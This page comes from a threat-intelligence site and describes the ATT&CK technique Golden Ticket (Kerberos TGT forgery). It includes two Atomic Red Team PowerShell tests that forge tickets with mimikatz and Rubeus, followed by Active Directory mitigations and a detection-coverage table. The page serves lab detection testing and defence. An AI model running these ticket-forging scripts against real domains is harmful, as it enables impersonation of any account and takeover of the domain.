Home/ATT&CK Technique/Golden Ticket
ATT&CK Technique

Golden Ticket

T1558.001 · credential-access

Adversaries who have the KRBTGT account password hash may forge Kerberos ticket-granting tickets (TGT), also known as a golden ticket. Golden tickets enable adversaries to generate authentication material for any account in Active Directory. Using a golden ticket, adversaries are then able to request ticket granting service (TGS) tickets, which enable access to specific resources.

Golden tickets require adversaries to interact with the Key Distribution Center (KDC) in order to obtain TGS. The KDC service runs all on domain controllers that are part of an Active Directory domain. KRBTGT is the Kerberos Key Distribution Center (KDC) service account and is responsible for encrypting and signing all Kerberos tickets.

The KRBTGT password hash may be obtained using OS Credential Dumping and privileged access to a domain controller.

Windows

Atomic Tests

2
Executable Atomic Red Team test cases for exercising this technique in a lab. Copy a command, run it on the listed platform, confirm your detections fire.
powershellwindowsCrafting Active Directory golden tickets with mimikatz
Once the hash of the special krbtgt user is retrieved it is possible to craft Kerberos Ticket Granting Ticket impersonating any user in the Active Directory domain. This test crafts a Golden Ticket and then performs an SMB request with it for the SYSVOL share, thus triggering a service ticket request (event ID 4769). The generated ticket is injected in a new empty Windows session and discarded after, so it does not pollute the current Windows session.
Remove-Item $env:TEMP\golden.bat -ErrorAction Ignore
Remove-Item $env:TEMP\golden.txt -ErrorAction Ignore

# get current domain SID if default was used
$domain_sid = "#{domain_sid}"
If ($domain_sid -Match "DEFAULT") {
  # code from https://www.sevecek.com/EnglishPages/Lists/Posts/Post.aspx?ID=60
  $domain = gwmi Win32_ComputerSystem | Select -Expand Domain
  $krbtgtSID = (New-Object Security.Principal.NTAccount $domain\krbtgt).Translate([Security.Principal.SecurityIdentifier]).Value
  $domain_sid = $krbtgtSID.SubString(0, $krbtgtSID.LastIndexOf('-'))
}

# create batch file with commands to run in a separate "runas /netonly" session
# so we don't purge Kerberos ticket from the current Windows session
# its output goes to golden.txt temp file, because we cannot capture "runas /netonly" output otherwise
@"
>%TEMP%\golden.txt 2>&1 (
  echo Purge existing tickets and create golden ticket:
  klist purge
  #{mimikatz_path} "kerberos::golden /domain:#{domain} /sid:DOMAIN_SID /aes256:#{krbtgt_aes256_key} /user:#{account} /ptt" "exit"

  echo.
  echo Requesting SYSVOL:
  dir \\#{domain}\SYSVOL
  
  echo.
  echo Tickets after requesting SYSVOL:
  klist

  echo.
  echo End of Golden Ticket attack
)
"@ -Replace "DOMAIN_SID", $domain_sid | Out-File -Encoding OEM $env:TEMP\golden.bat

# run batch file in a new empty session (password and username do not matter)
echo "foo" | runas /netonly /user:fake "$env:TEMP\golden.bat" | Out-Null

# wait until the output file has logged the entire attack
do {
  Start-Sleep 1 # wait a bit so the output file has time to be created
  Get-Content -Path "$env:TEMP\golden.txt" -Wait | ForEach-Object {
    if ($_ -match 'End of Golden Ticket attack') { break } 
  }
} while ($false) # dummy loop so that 'break' can be used

# show output from new empty session
Get-Content $env:TEMP\golden.txt

# cleanup temp files
Remove-Item $env:TEMP\golden.bat -ErrorAction Ignore
Remove-Item $env:TEMP\golden.txt -ErrorAction Ignore
powershellwindowsCrafting Active Directory golden tickets with Rubeus
Once the hash of the special krbtgt user is retrieved it is possible to craft Kerberos Ticket Granting Ticket impersonating any user in the Active Directory domain. This test crafts a Golden Ticket and then performs an SMB request with it for the SYSVOL share, thus triggering a service ticket request (event ID 4769). The generated ticket is injected in a new empty Windows session and discarded after, so it does not pollute the current Windows session.
Remove-Item $env:TEMP\golden.bat -ErrorAction Ignore
Remove-Item $env:TEMP\golden.txt -ErrorAction Ignore

cmd.exe /c "#{local_folder}\#{local_executable}" golden /aes256:#{krbtgt_aes256_key} /ldap /user:#{account} /dc:$(#{domaincontroller}) /printcmd /outfile:golden
$filename = (Get-ChildItem | ? {$_.Name.startswith("golden_")} | Sort-Object -Descending -Property LastWriteTime | select -First 1).Name

# create batch file with commands to run in a separate "runas /netonly" session
# so we don't purge Kerberos ticket from the current Windows session
# its output goes to golden.txt temp file, because we cannot capture "runas /netonly" output otherwise
@"
>%TEMP%\golden.txt 2>&1 (
  echo Purge existing tickets and create golden ticket:
  klist purge
  cd %temp%
  "#{local_folder}\#{local_executable}" ptt /ticket:kirbifile

  echo.
  echo Requesting SYSVOL:
  dir \\$(#{domaincontroller})\SYSVOL
  
  echo.
  echo Tickets after requesting SYSVOL:
  klist

  echo.
  echo End of Golden Ticket attack
)
"@ -Replace "kirbifile", $filename | Out-File -Encoding OEM $env:TEMP\golden.bat

# run batch file in a new empty session (password and username do not matter)
echo "foo" | runas /netonly /user:fake "$env:TEMP\golden.bat" | Out-Null

# wait until the output file has logged the entire attack
do {
  Start-Sleep 1 # wait a bit so the output file has time to be created
  Get-Content -Path "$env:TEMP\golden.txt" -Wait | ForEach-Object {
    if ($_ -match 'End of Golden Ticket attack') { break } 
  }
} while ($false) # dummy loop so that 'break' can be used

# show output from new empty session
Get-Content $env:TEMP\golden.txt

# cleanup temp files
Remove-Item $env:TEMP\golden.bat -ErrorAction Ignore
Remove-Item $env:TEMP\golden.txt -ErrorAction Ignore

Mitigations

2
MITRE ATT&CK mitigations - vendor-agnostic guidance for reducing exposure to this technique.
M1015Active Directory Configuration

Implement robust Active Directory (AD) configurations using group policies to secure user accounts, control access, and minimize the attack surface. AD configurations enable centralized control over account settings, logon policies, and permissions, reducing the risk of unauthorized access and lateral movement within the network.

Account Configuration
  • Implementation: Use domain accounts instead of local accounts to leverage AD’s centralized management, including group policies, auditing, and access control.
  • Use Case: For IT staff managing shared resources, provision domain accounts that allow IT teams to log in centrally, reducing the risk of unmanaged, rogue local accounts on individual machines.
Interactive Logon Restrictions
  • Implementation: Configure group policies to restrict interactive logons (e.g., direct physical or RDP logons) for service accounts or privileged accounts that do not require such access.
  • Use Case: Prevent service accounts, such as SQL Server accounts, from having interactive logon privileges. This reduces the risk of these accounts being leveraged for lateral movement if compromised.
Remote Desktop Settings
  • Implementation: Limit Remote Desktop Protocol (RDP) access to specific, authorized accounts. Use group policies to enforce this, allowing only necessary users to establish RDP sessions.
  • Use Case: On sensitive servers (e.g., domain controllers or financial databases), restrict RDP access to administrative accounts only, while all other users are denied access.
Dedicated Administrative Accounts
  • Implementation: Create domain-wide administrative accounts that are restricted from interactive logons, designed solely for high-level tasks (e.g., software installation, patching).
  • Use Case: Create separate administrative accounts for different purposes, such as one set of accounts for installations and another for managing repository access. This limits exposure and helps reduce attack vectors.
Authentication Silos
  • Implementation: Configure Authentication Silos in AD, using group policies to create access zones with restrictions based on membership, such as the Protected Users security group. This restricts access to critical accounts and minimizes exposure to potential threats.
  • Use Case: Place high-risk or high-value accounts, such as executive or administrative accounts, in an Authentication Silo with extra controls, limiting their exposure to only necessary systems. This reduces the risk of credential misuse or abuse if these accounts are compromised.
Tools for Implementation
  • Active Directory Group Policies: Use Group Policy Management Console (GPMC) to configure, deploy, and enforce policies across AD environments.
  • PowerShell: Automate account configuration, logon restrictions, and policy application using PowerShell scripts.
  • AD Administrative Center: Manage Authentication Silos and configure high-level policies for critical user groups within AD.
M1026Privileged Account Management

Privileged Account Management focuses on implementing policies, controls, and tools to securely manage privileged accounts (e.g., SYSTEM, root, or administrative accounts). This includes restricting access, limiting the scope of permissions, monitoring privileged account usage, and ensuring accountability through logging and auditing.

Account Permissions and Roles
  • Implement RBAC and least privilege principles to allocate permissions securely.
  • Use tools like Active Directory Group Policies to enforce access restrictions.
Credential Security
  • Deploy password vaulting tools like CyberArk, HashiCorp Vault, or KeePass for secure storage and rotation of credentials.
  • Enforce password policies for complexity, uniqueness, and expiration using tools like Microsoft Group Policy Objects (GPO).
Multi-Factor Authentication (MFA)
  • Enforce MFA for all privileged accounts using Duo Security, Okta, or Microsoft Azure AD MFA.
Privileged Access Management (PAM)
  • Use PAM solutions like CyberArk, BeyondTrust, or Thycotic to manage, monitor, and audit privileged access.
Auditing and Monitoring
  • Integrate activity monitoring into your SIEM (e.g., Splunk or QRadar) to detect and alert on anomalous privileged account usage.
Just-In-Time Access
  • Deploy JIT solutions like Azure Privileged Identity Management (PIM) or configure ephemeral roles in AWS and GCP to grant time-limited elevated permissions.
Tools for Implementation Privileged Access Management (PAM)
  • CyberArk, BeyondTrust, Thycotic, HashiCorp Vault.
Credential Management
  • Microsoft LAPS (Local Admin Password Solution), Password Safe, HashiCorp Vault, KeePass.
Multi-Factor Authentication
  • Duo Security, Okta, Microsoft Azure MFA, Google Authenticator.
Linux Privilege Management
  • sudo configuration, SELinux, AppArmor.
Just-In-Time Access
  • Azure Privileged Identity Management (PIM), AWS IAM Roles with session constraints, GCP Identity-Aware Proxy.

Detection Coverage

0/6 layers
Coverage across standard detection surfaces. Rows marked none have no rule of that type mapped. Some are real blind spots worth closing; others are simply not applicable to this technique (e.g. YARA matches malware files, not network behaviour).
Behavioral / log (Sigma) none
Analytics (MITRE CAR) none
Runtime / container (Falco) none
File / malware (YARA) none
Network (Suricata/Snort) none
Vuln scan (Nuclei) none

Comply & Defend

Intelligence Graph · click any node to traverse
CVETechnique ActorTool Family
drag to reposition · click any node to traverse · button top-right enlarges
External lookups - second-class, for what we don’t hold ourselves
Vulnerabilities
CISA KEV catalog
CWE weaknesses
CAPEC attack patterns
Package vulnerabilities
Threat intelligence
Threat actors
Tools & malware
ATT&CK techniques
IOCs
Detection & defense
Sigma rules
YARA rules
Atomic Red Team tests
D3FEND countermeasures
Compliance
NIST 800-53
ISO 27001:2022
SOC 2 TSC
PCI-DSS v4.0
CIS Controls v8.1
About
All capabilities
Live statistics
Data sources
Privacy policy
Terms of service
threatengine.sh  ·  Open-source threat intelligence platform  ·  100+ authoritative sources  ·  Every fact traces to its origin